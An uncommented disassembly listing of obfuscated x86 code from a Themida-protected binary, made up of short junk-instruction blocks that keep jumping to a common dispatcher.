loc_559A15:				; CODE XREF: Themida_:0055BA95j
		add	esp, 4
		push	eax
		jmp	loc_55A8CB
; ---------------------------------------------------------------------------


loc_559A21:				; CODE XREF: Themida_:0055E609j
		mov	[esp], ebx
		push	edx
		push	esi
		mov	esi, 405371E6h
		or	esi, 2507760Ch
		shl	esi, 6
		add	esi, 86A34A0h
		jmp	loc_55C4B3
; ---------------------------------------------------------------------------


loc_559A3F:				; CODE XREF: Themida_:0055E6D4j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5541FB
; ---------------------------------------------------------------------------


loc_559A4C:				; CODE XREF: Themida_:005546E3j
		add	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5546E8
; ---------------------------------------------------------------------------


loc_559A56:				; CODE XREF: Themida_:00555EF3j
		push	eax
		push	esp
		pop	eax
		jmp	loc_55CAEF
; ---------------------------------------------------------------------------


loc_559A5E:				; CODE XREF: Themida_:0055E72Bj
		push	0DC91684h
		pop	ebx
		sub	ebx, 1
		xor	ebx, 0DC91687h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_557BB3
; ---------------------------------------------------------------------------


loc_559A78:				; CODE XREF: Themida_:0055DB4Ej
		push	edi
		push	1C4D3028h
		jmp	loc_554D88
; ---------------------------------------------------------------------------


loc_559A83:				; CODE XREF: Themida_:0055DAF9j
		push	esi
		mov	esi, 5692622Fh
		neg	esi
		neg	esi
		shr	esi, 1
		or	esi, 592414B2h
		jmp	loc_559EDB
; ---------------------------------------------------------------------------


loc_559A9A:				; CODE XREF: Themida_:005541FDj
		mov	ecx, 6F3834C1h
		add	ecx, 90C7CB41h
		jmp	loc_55E990
; ---------------------------------------------------------------------------


loc_559AAA:				; CODE XREF: Themida_:00555E69j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	1293h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55A48D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	eax
		mov	eax, esp
		jmp	loc_557C29
; ---------------------------------------------------------------------------


loc_559AD8:				; CODE XREF: Themida_:0055E30Dj
		add	esp, 4
		jmp	loc_55E312
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		jmp	loc_55E967
; ---------------------------------------------------------------------------


loc_559AE8:				; CODE XREF: Themida_:00558134j
		pop	edx
		add	eax, edi
		sub	eax, 175A0DD8h
		sub	eax, 3FB9287Dh
		mov	[eax], edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55A54D
; ---------------------------------------------------------------------------


loc_559B03:				; CODE XREF: Themida_:0055A59Ej
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559B1C:				; CODE XREF: Themida_:00555FEFj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_556D46
; ---------------------------------------------------------------------------


loc_559B31:				; CODE XREF: Themida_:00557560j
		push	6F5Dh
		mov	[esp], edi
		jmp	loc_552E3A
; ---------------------------------------------------------------------------


loc_559B3E:				; CODE XREF: Themida_:005570CBj
		sub	edx, 43473FA9h
		mov	edi, [esp]
		jmp	loc_556044
; ---------------------------------------------------------------------------


loc_559B4C:				; CODE XREF: Themida_:0055A58Bj
		mov	[esp], edi
		push	edx
		mov	edx, 4
		jmp	loc_5581C2
; ---------------------------------------------------------------------------


loc_559B5A:				; CODE XREF: Themida_:0055D0FFj
		sub	ch, dl
		jmp	loc_555F95
; ---------------------------------------------------------------------------


loc_559B61:				; CODE XREF: Themida_:00553639j
		sub	dl, bh
		jmp	loc_5531CC
; ---------------------------------------------------------------------------


loc_559B68:				; CODE XREF: Themida_:0055BD97j
		mov	edi, 5D452C10h
		jmp	loc_55AB51
; ---------------------------------------------------------------------------


loc_559B72:				; CODE XREF: Themida_:005592B7j
		xor	ebx, 2ACD502Bh
		or	ebx, 17D45876h
		add	ebx, 2ACB159h
		add	eax, ebx
		pop	ebx
		add	eax, 5DA269CAh
		pop	esi
		add	eax, 5B911741h
		jmp	loc_55C560
; ---------------------------------------------------------------------------


loc_559B97:				; CODE XREF: Themida_:0055309Dj
		push	esp
		mov	edx, [esp]
		jmp	loc_554089
; ---------------------------------------------------------------------------


loc_559BA0:				; CODE XREF: Themida_:00555F43j
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		push	ecx
		mov	ecx, 61C14BBh
		jmp	loc_55EEB7
; ---------------------------------------------------------------------------


loc_559BB1:				; CODE XREF: Themida_:0055AEB3j
		add	eax, 4
		jmp	loc_55B9A1
; ---------------------------------------------------------------------------


loc_559BBB:				; CODE XREF: Themida_:005550CDj
		inc	ebx
		jmp	loc_55D871
; ---------------------------------------------------------------------------


loc_559BC1:				; CODE XREF: Themida_:00555C32j
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ecx
		jmp	loc_55715D
; ---------------------------------------------------------------------------


loc_559BD3:				; CODE XREF: Themida_:005584DCj
		push	ecx
		push	esi
		push	480323ABh
		pop	esi
		shr	esi, 5
		xor	esi, 41BB45A1h
		not	esi
		sub	esi, 0BC04A341h
		mov	ecx, esi
		jmp	loc_55E988
; ---------------------------------------------------------------------------


loc_559BF3:				; CODE XREF: Themida_:005555ABj
		mov	esi, 66405D64h
		mov	ebx, 0DD5EDF93h
		jmp	loc_55ABD2
; ---------------------------------------------------------------------------


loc_559C02:				; CODE XREF: Themida_:0055C6B9j
		btr	[esp], ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559C0D:				; CODE XREF: Themida_:00558CDDj
		push	edi
		mov	edi, 4
		jmp	loc_55787B
; ---------------------------------------------------------------------------


loc_559C18:				; CODE XREF: Themida_:0055D209j
		mov	bl, 0C6h
		add	bl, 7
		add	al, bl
		pop	ebx
		pop	ebx
		pop	dx
		push	edx
		push	eax
		push	edx
		mov	dl, 0EAh
		mov	al, dl
		push	dword ptr [esp]
		jmp	loc_55D1C7
; ---------------------------------------------------------------------------


loc_559C32:				; CODE XREF: Themida_:005550A2j
		add	edx, ebp
		sub	edx, 53C57CDCh
		sub	edx, 0B4F7349h
		mov	ebp, [esp]
		jmp	loc_559F6A
; ---------------------------------------------------------------------------


loc_559C48:				; CODE XREF: Themida_:00559240j
		or	edx, eax
		jmp	loc_55742A
; ---------------------------------------------------------------------------


loc_559C4F:				; CODE XREF: Themida_:0055D8D7j
		add	ebp, edx
		pop	edx
		jmp	loc_55EF33
; ---------------------------------------------------------------------------


loc_559C57:				; CODE XREF: Themida_:00555F96j
		sub	ch, 0D2h
		mov	al, ch
		pop	ecx
		mov	dl, al
		pop	ax
		neg	dl
		xor	dl, 0AFh
		add	al, dl
		push	dword ptr [esp]
		jmp	loc_556E7D
; ---------------------------------------------------------------------------


loc_559C70:				; CODE XREF: Themida_:00559D97j
		pop	esi
		xor	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55D9BF
; ---------------------------------------------------------------------------


loc_559C7B:				; CODE XREF: Themida_:0055EB99j
		xchg	ebp, [esp]
		pop	esp
		imul	cx
		jmp	loc_55DB86
; ---------------------------------------------------------------------------


loc_559C87:				; CODE XREF: Themida_:005589A5j
		mov	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	edx, ecx
		pop	ecx
		inc	edx
		push	ecx
		mov	ecx, 2F4641Eh
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_559DE7
; ---------------------------------------------------------------------------


loc_559CB2:				; CODE XREF: Themida_:0055E299j
		push	ecx
		mov	ecx, 670E58DBh
		xor	ebx, ecx
		pop	ecx
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_55EAB1
; ---------------------------------------------------------------------------


loc_559CC6:				; CODE XREF: Themida_:0055C0E6j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		jmp	loc_55AB1D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3F1Eh
		mov	[esp], ebp
		mov	ebp, 38123486h
		jmp	loc_558B1F
; ---------------------------------------------------------------------------


loc_559CF4:				; CODE XREF: Themida_:0055D2C3j
		not	ebp
		xchg	ebp, ecx
		dec	ecx
		sub	ecx, 569E95C2h
		jmp	loc_55A6BA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	eax
		mov	eax, esp
		jmp	loc_55B41D
; ---------------------------------------------------------------------------


loc_559D11:				; CODE XREF: Themida_:0055337Aj
		push	4F8C46FAh
		pop	ebx
		add	[esp+4], ebx
		jmp	loc_55B134
; ---------------------------------------------------------------------------


loc_559D20:				; CODE XREF: Themida_:00556221j
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 283E4F37h
		jmp	loc_55AE35
; ---------------------------------------------------------------------------


loc_559D45:				; CODE XREF: Themida_:0055C62Bj
		sub	esi, edx
		pop	edx
		push	3532h
		mov	[esp], ebp
		mov	ebp, 29F2384Fh
		push	edi
		mov	edi, 25103B46h
		xor	ebp, edi
		jmp	loc_55A5A3
; ---------------------------------------------------------------------------


loc_559D62:				; CODE XREF: Themida_:0055CEB2j
		mov	[esp], edx
		push	1000000h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_555DA5
; ---------------------------------------------------------------------------


loc_559D89:				; CODE XREF: Themida_:00559515j
		pop	esp
		jmp	loc_558A29
; ---------------------------------------------------------------------------


loc_559D8F:				; CODE XREF: Themida_:005577BEj
		push	esi
		mov	esi, 0EA283C33h
		sub	ebp, esi
		jmp	loc_559C70
; ---------------------------------------------------------------------------


loc_559D9C:				; CODE XREF: Themida_:0055A09Dj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55DF20
; ---------------------------------------------------------------------------


loc_559DA8:				; CODE XREF: Themida_:0055AD15j
		pop	eax
		mov	ebx, edx
		pop	edx
		add	ebx, 5B2262ECh
		shl	ebx, 7
		push	eax
		mov	eax, 194EB404h
		jmp	loc_5574D8
; ---------------------------------------------------------------------------


loc_559DC0:				; CODE XREF: Themida_:0055C280j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 77893B49h
		xor	edi, 77893B4Dh
		sub	eax, edi
		pop	edi
		push	1295h
		jmp	loc_5584ED
; ---------------------------------------------------------------------------


loc_559DE7:				; CODE XREF: Themida_:00559CADj
		not	dword ptr [esp]
		pop	ecx
		not	ecx
		jmp	near ptr loc_55710D+1
; ---------------------------------------------------------------------------


loc_559DF2:				; CODE XREF: Themida_:00554084j
		pop	edx
		push	eax
		mov	ah, cl
		jmp	loc_555ED7
; ---------------------------------------------------------------------------


loc_559DFB:				; CODE XREF: Themida_:00555690j
		mov	[esp], ebp
		push	175Eh
		mov	[esp], edi
		mov	edi, 27043BDFh
		and	edi, 2B4A68E6h
		xor	edi, 15D24370h
		neg	edi
		sub	edi, 6D800F9Ah
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		pop	ebp
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559E38:				; CODE XREF: Themida_:0055D369j
		mov	dh, bh
		mov	cl, dh
		pop	edx
		jmp	loc_553FF8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_559E51:				; CODE XREF: sub_5747D8-1B547j
		pop	eax
		xor	al, dh
		pop	edx
		push	ecx
		jmp	loc_55A9D3
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_559E5B:				; CODE XREF: Themida_:00557F0Dj
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_556EBD
; ---------------------------------------------------------------------------
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebp
		jmp	loc_554AA7
; ---------------------------------------------------------------------------


loc_559E9A:				; CODE XREF: Themida_:0055599Bj
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_55566E
; ---------------------------------------------------------------------------


loc_559EB3:				; CODE XREF: Themida_:0055B2BAj
		mov	eax, [esp]
		jmp	loc_55CDE9
; ---------------------------------------------------------------------------


loc_559EBB:				; CODE XREF: Themida_:0055C11Bj
		add	ecx, 4
		jmp	loc_558D54
; ---------------------------------------------------------------------------


loc_559EC3:				; CODE XREF: Themida_:0055849Aj
		add	eax, 4171ECFh
		jmp	loc_553618
; ---------------------------------------------------------------------------


loc_559ECD:				; CODE XREF: Themida_:0055843Bj
		xor	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559EDB:				; CODE XREF: Themida_:00559A95j
		xor	esi, 171F59C6h
		jmp	loc_5552E7
; ---------------------------------------------------------------------------


loc_559EE6:				; CODE XREF: Themida_:0055AF4Dj
		mov	ebx, 4
		jmp	loc_55ACD3
; ---------------------------------------------------------------------------


loc_559EF0:				; CODE XREF: Themida_:0055E16Dj
		mov	esi, [esp]
		jmp	loc_553357
; ---------------------------------------------------------------------------


loc_559EF8:				; CODE XREF: Themida_:0055EEA5j
		mov	edi, 446C2B64h
		jmp	loc_55796A
; ---------------------------------------------------------------------------


loc_559F02:				; CODE XREF: Themida_:00554A37j
		add	edi, 4
		jmp	loc_5585C2
; ---------------------------------------------------------------------------


loc_559F0D:				; CODE XREF: Themida_:0055DC4Aj
		push	74FCh
		mov	[esp], esp
		push	ecx
		jmp	loc_55EFEB
; ---------------------------------------------------------------------------


loc_559F1B:				; CODE XREF: Themida_:0055B7B4j
		xor	edx, 0DBBC074Eh
		add	eax, edx
		pop	edx
		jmp	loc_5588C7
; ---------------------------------------------------------------------------


loc_559F29:				; CODE XREF: Themida_:005539FEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_559A0C
; ---------------------------------------------------------------------------


loc_559F39:				; CODE XREF: Themida_:00554F95j
		shl	ecx, 6
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	ecx, 28545836h
		add	ecx, ebx
		jmp	loc_55EFA3
; ---------------------------------------------------------------------------


loc_559F4F:				; CODE XREF: Themida_:00556556j
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_552EC2
; ---------------------------------------------------------------------------


loc_559F62:				; CODE XREF: Themida_:0055C395j
		add	esp, 4
		jmp	loc_55A08E
; ---------------------------------------------------------------------------


loc_559F6A:				; CODE XREF: Themida_:00559C43j
		add	esp, 4
		jmp	loc_55DC4F
; ---------------------------------------------------------------------------


loc_559F75:				; CODE XREF: Themida_:0055CD0Fj
		add	esp, 4
		sub	edx, 6DE14AE9h
		pop	esi
		not	edx
		dec	edx
		or	edx, 4F2F6B77h
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		inc	edx
		neg	edx
		xor	edx, 0BD1378B7h
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1D7F3EBDh
		and	edx, 729B54DDh
		add	edx, 63AA0074h
		add	ebx, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6F526D2Bh
		push	0FCBh
		mov	[esp], edi
		jmp	loc_5597F0
; ---------------------------------------------------------------------------


loc_559FE9:				; CODE XREF: Themida_:0055B4E8j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_559FEE:				; CODE XREF: Themida_:00558EBBj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 37B42F1Bh
		sub	esi, ebp
		pop	ebp
		jmp	loc_55CAAD
; ---------------------------------------------------------------------------


loc_55A01A:				; CODE XREF: Themida_:00557EF0j
		pop	esp
		mov	ax, [esp]
		jmp	loc_55B91C
; ---------------------------------------------------------------------------


loc_55A024:				; CODE XREF: Themida_:0055DF45j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xchg	ebp, ebx
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		xchg	ebp, ebx
		jmp	loc_55C89C
; ---------------------------------------------------------------------------


loc_55A037:				; CODE XREF: Themida_:0055C1BBj
		xor	eax, 0CF45E6A3h
		jmp	loc_558BA3
; ---------------------------------------------------------------------------


loc_55A041:				; CODE XREF: Themida_:0055905Fj
		add	al, 51h
		jmp	near ptr unk_557107
; ---------------------------------------------------------------------------


loc_55A048:				; CODE XREF: Themida_:00553AB2j
		pop	ebx
		sub	edi, 1
		jmp	loc_55A33D
; ---------------------------------------------------------------------------


loc_55A051:				; CODE XREF: Themida_:0055E8C8j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 2
		jmp	loc_55D0E5
; ---------------------------------------------------------------------------


loc_55A067:				; CODE XREF: Themida_:005578B5j
		pop	edi
		push	ecx
		mov	ecx, 44A37E95h
		inc	ecx
		shl	ecx, 6
		add	ecx, 0D7205A84h
		add	edi, ecx
		pop	ecx
		jmp	$+5
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_558691
; ---------------------------------------------------------------------------


loc_55A08E:				; CODE XREF: Themida_:00559F65j
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_559D9C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55BB0B
; ---------------------------------------------------------------------------


loc_55A0AB:				; CODE XREF: Themida_:00557B7Dj
		mov	edi, 124F2368h
		mov	esi, 2AB248ECh
		add	esi, edi
		jmp	loc_5590FE
; ---------------------------------------------------------------------------


loc_55A0BC:				; CODE XREF: Themida_:0055CC4Fj
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		pop	edi
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_558D36
; ---------------------------------------------------------------------------


loc_55A0CF:				; CODE XREF: Themida_:0055BBE8j
		add	esp, 4
		sub	ebx, 35F664F4h
		add	ebx, ebp
		add	ebx, 35F664F4h
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 7B42h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55A10C:				; CODE XREF: sub_5747D8-2006Cj
		push	[esp+24h+var_24]
		jmp	loc_559278
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55A114:				; CODE XREF: Themida_:0055D0D1j
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, 7E1C5CD1h
		jmp	loc_5571F2
; ---------------------------------------------------------------------------


loc_55A124:				; CODE XREF: Themida_:005545B5j
		xor	edi, 2FD9140Dh
		push	ecx
		mov	ecx, 3E840E0Dh
		push	edi
		mov	edi, 0E0D907A6h
		sub	ecx, 790856B9h
		add	ecx, edi
		add	ecx, 790856B9h
		pop	edi
		or	edi, ecx
		pop	ecx
		xor	edi, 9F7F7DF7h
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 1FA11915h
		shl	ebp, 7
		not	ebp
		shr	ebp, 3
		inc	ebp
		jmp	loc_55EA05
; ---------------------------------------------------------------------------


loc_55A165:				; CODE XREF: Themida_:00555501j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_553000
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55A18D:				; CODE XREF: Themida_:0055DA8Fj
		inc	ecx
		inc	ecx
		push	eax
		mov	eax, 0DA57F4D1h
		add	ecx, eax
		pop	eax
		jmp	loc_55752C
; ---------------------------------------------------------------------------


loc_55A19D:				; CODE XREF: Themida_:0055BAF9j
		sub	esp, 4
		jmp	loc_555CBF
; ---------------------------------------------------------------------------


loc_55A1A5:				; CODE XREF: Themida_:0055EA9Dj
		mov	edi, esp
		push	ebp
		jmp	loc_557997
; ---------------------------------------------------------------------------


loc_55A1AD:				; CODE XREF: Themida_:00555FA3j
		sub	dword ptr [esp], 28AD21EDh
		jmp	loc_55D646
; ---------------------------------------------------------------------------


loc_55A1B9:				; CODE XREF: Themida_:0055ABFAj
		sub	edi, ebx
		pop	ebx
		xor	ebx, edi
		pop	edi
		inc	ebx
		jmp	loc_55EC0B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	5906h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		push	esi
		push	423A7632h
		jmp	loc_55C95E
; ---------------------------------------------------------------------------


loc_55A1E2:				; CODE XREF: Themida_:0055E2D2j
		sub	eax, ecx
		add	eax, 740E5D5Ah
		jmp	loc_556A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55A1EE:				; CODE XREF: sub_5747D8-1EC3Dj
		mov	cx, word ptr [esp+26h+var_28+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_554FC1
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55A200:				; CODE XREF: Themida_:005561CCj
		add	ebp, esi
		jmp	loc_55427C
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_553489
; ---------------------------------------------------------------------------
		push	1B5Fh
		push	412Eh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55ED0A
; ---------------------------------------------------------------------------


loc_55A236:				; CODE XREF: Themida_:00556D37j
		pop	ebx
		and	ebx, 335963A7h
		push	ebp
		mov	ebp, 0EF43804Ch
		add	ebx, ebp
		jmp	loc_554100
; ---------------------------------------------------------------------------


loc_55A24A:				; CODE XREF: Themida_:005540E6j
		sub	bl, 11h
		jmp	loc_554E58
; ---------------------------------------------------------------------------


loc_55A252:				; CODE XREF: Themida_:0055932Aj
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 642E12C1h
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 4FFC3A92h
		shl	ecx, 5
		push	eax
		push	esi
		jmp	loc_55A761
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55D82E
; ---------------------------------------------------------------------------


loc_55A278:				; CODE XREF: Themida_:00555BA6j
		add	esi, edx
		push	eax
		mov	eax, 14AF6DB7h
		dec	eax
		jmp	loc_55484C
; ---------------------------------------------------------------------------


loc_55A286:				; CODE XREF: Themida_:0055EBEBj
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55E3EF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_55BCFF
; ---------------------------------------------------------------------------


loc_55A29A:				; CODE XREF: Themida_:0055E5A7j
		pop	ecx
		xor	edi, 71795B2Bh
		and	edi, 6E7F7ECDh
		add	edi, 6B7F23D5h
		xor	edi, 0F4A71B1Dh
		add	edi, 7DF4653Bh
		push	eax
		mov	eax, 1DBD051Eh
		not	eax
		not	eax
		jmp	loc_556BA8
; ---------------------------------------------------------------------------


loc_55A2C8:				; CODE XREF: Themida_:0055AA47j
		neg	ebp
		and	ebp, 6BD653BAh
		and	ebp, 108C5812h
		sub	ebp, 0FB39B24Fh
		and	ebp, 52FB6C82h
		jmp	loc_558609
; ---------------------------------------------------------------------------


loc_55A2E7:				; CODE XREF: Themida_:0055B8DEj
		pop	edx
		sub	cl, bh
		pop	ebx
		and	al, cl
		pop	ecx
		push	edi
		push	0F03h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	0C19337Fh
		jmp	loc_554251
; ---------------------------------------------------------------------------


loc_55A310:				; CODE XREF: Themida_:00553101j
		push	eax
		push	52B0h
		jmp	loc_553979
; ---------------------------------------------------------------------------


loc_55A31B:				; CODE XREF: Themida_:0055C5CDj
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5559EE
; ---------------------------------------------------------------------------


loc_55A325:				; CODE XREF: Themida_:00555EA3j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55A332:				; CODE XREF: Themida_:005563C1j
		sub	ecx, 4
		jmp	loc_557DC0
; ---------------------------------------------------------------------------


loc_55A33D:				; CODE XREF: Themida_:0055A04Cj
		push	ecx
		mov	ecx, 5AB4C649h
		sub	edi, ecx
		pop	ecx
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55B11B
; ---------------------------------------------------------------------------


loc_55A368:				; CODE XREF: Themida_:0055C709j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55DF6A
; ---------------------------------------------------------------------------


loc_55A372:				; CODE XREF: Themida_:0055382Ej
		add	eax, ecx
		jmp	loc_5564CF
; ---------------------------------------------------------------------------


loc_55A379:				; CODE XREF: Themida_:00553B32j
		pop	esp
		movzx	cx, al
		sub	esp, 4
		jmp	loc_55C9AC
; ---------------------------------------------------------------------------


loc_55A386:				; CODE XREF: Themida_:0055C8E7j
		add	eax, ecx
		pop	ecx
		push	dword ptr [eax]
		pop	ecx
		pop	eax
		push	6615h
		mov	[esp], eax
		mov	eax, 48C5DEBh
		jmp	loc_555D59
; ---------------------------------------------------------------------------


loc_55A39F:				; CODE XREF: Themida_:00554C85j
		shr	dl, 4
		dec	dl
		sub	dl, 0A3h
		mov	ch, dl
		pop	edx
		push	ebx
		mov	bh, 5Ah
		neg	bh
		and	bh, 5Ah
		jmp	loc_558824
; ---------------------------------------------------------------------------


loc_55A3B7:				; CODE XREF: Themida_:0055D0C4j
		sub	edx, 28A74266h
		jmp	loc_55E7F6
; ---------------------------------------------------------------------------


loc_55A3C2:				; CODE XREF: Themida_:0055A41Bj
		mov	ebp, 2854173Bh
		sub	esi, 58591FF7h
		sub	esi, ebp
		add	esi, 58591FF7h
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	6B39h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	4DC2h
		jmp	loc_552E82
; ---------------------------------------------------------------------------


loc_55A410:				; CODE XREF: Themida_:00556060j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55A415:				; CODE XREF: Themida_:0055AF68j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55A3C2
; ---------------------------------------------------------------------------


loc_55A420:				; CODE XREF: Themida_:00556EA5j
		sub	eax, 54AC61EBh
		add	eax, ebp
		add	eax, 54AC61EBh
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_55576D
; ---------------------------------------------------------------------------


loc_55A43C:				; CODE XREF: Themida_:0055AE70j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, 5FF23B1Eh
		add	esi, eax
		push	ebx
		jmp	loc_555F48
; ---------------------------------------------------------------------------


loc_55A453:				; CODE XREF: Themida_:005569D1j
		add	esp, 4
		push	edi
		mov	edi, 52C06180h
		jmp	loc_556C80
; ---------------------------------------------------------------------------


loc_55A461:				; CODE XREF: Themida_:00554688j
		pop	edx
		sub	bl, 0F6h
		add	bl, ah
		jmp	loc_5586F7
; ---------------------------------------------------------------------------


loc_55A46C:				; CODE XREF: Themida_:0055ACCEj
		pop	esi
		add	esp, 4
		add	ebp, 0F4847A7Ch
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55893E
; ---------------------------------------------------------------------------


loc_55A484:				; CODE XREF: Themida_:0055CDEFj
		push	esi
		not	dword ptr [esp]
		jmp	loc_553505
; ---------------------------------------------------------------------------


loc_55A48D:				; CODE XREF: Themida_:00559AC6j
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	edx
		add	edx, 4
